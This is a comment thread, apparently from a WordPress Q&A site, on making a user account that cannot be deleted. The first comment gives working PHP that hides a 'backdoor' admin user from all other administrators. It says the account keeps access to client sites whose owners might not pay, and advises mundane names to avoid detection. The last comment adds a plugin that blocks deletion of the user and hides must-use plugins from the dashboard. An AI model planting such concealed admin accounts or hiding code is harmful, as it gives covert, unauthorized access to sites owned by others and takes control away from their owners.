4 comments

  1. While you can’t guarantee the absolute safety of this user, I have used this to hide my backdoor user (useful for clients who are aggressive in removing users, yet may forget to pay their bill, for example)

    add_action('pre_user_query','sleeper_pre_user_query');
    function sleeper_pre_user_query($user_search) {
        global $current_user;
        $username = $current_user->user_login;
    
        if ($username != 'my_secret_admin_user') { 
            global $wpdb;
            $user_search->query_where = 
            str_replace(
                'WHERE 1=1', 
                "WHERE 1=1 AND {$wpdb->users}.user_login !=
                'my_secret_admin_user'",$user_search->query_where
            );
        }
    }
    

    I’d name the function something mundane sounding, might want your user to be mundane as well. The code prevents any other user from seeing that user in the admin list.

  2. There doesn’t seem to be a way to interrupt deletion process in wp_delete_user() function, which performs it. However in runtime WordPress runs (naturally) capability check before deletion:

    if ( ! current_user_can( 'delete_user', $id ) )
            wp_die(__( 'You can’t delete that user.' ) );
    

    It passes $id of user being deleted, so you should be able to target it in one of the filters dealing with caps, probably around user_has_cap or map_meta_cap (I hadn’t done anything there in a while so can’t come up with precise code on top of my head).

  3. As @toscho stated in the comment. A non-deletable user isn’t possible. What I personally use is a SysBot script that I host on GitHub as Gist. The use case for me normally is to map posts that I generate from remote sources to a user when the incoming remote data doesn’t contain anything that I could map to an existing user.

    You could go one step further and

    • Redirect whenever this users profile page is requested
    • Remove links to the users profile using the post type columns filters in list tables
    • Alter the Quick Edit links to prevent deleting this user

    If the user still gets deleted once, it will instantly be recreated during page load. The same goes for altering his basic user information.

  4. The hook load-$pagenow can be used too. Putting it in a Must Use plugin prevents its de-activation. And adding a simple filter, we can hide the MUs from appearing in the dashboard (here, a more detailed technique).

    <?php
    /*
        Plugin Name: Cannot delete user
        Description: Blocks the deletion of the user with ID == (adjust bellow)
        Author: brasofilo
        Plugin URI: https://wordpress.stackexchange.com/q/113907/12615
        Requires: PHP 5.3+
    */
    add_filter( 'show_advanced_plugins', '__return_false' );
    
    add_action( 'load-users.php', function() 
    {
        # Not a delete screen, do nothing
        if( !isset( $_REQUEST['action'] ) || 'delete' != $_REQUEST['action'] )
            return;
    
        # User(s) not set, do nothing
        if( !isset( $_REQUEST['user'] ) && !isset( $_REQUEST['users'] ) )
            return;
    
        # Single user - adjust ID
        if( isset( $_REQUEST['user'] ) && 'USER_ID' == $_REQUEST['user'] )
            wp_die(
                'Cannot delete this user.', 
                'Error',  
                array( 'response' => 500, 'back_link' => true )
            );  
    
        # Bulk users - adjust ID
        if( isset( $_REQUEST['users'] ) && in_array( 'USER_ID', $_REQUEST['users'] ) )
            wp_die(
                'Cannot delete this user.', 
                'Error',  
                array( 'response' => 500, 'back_link' => true )
            );  
    });
    

Comments are closed.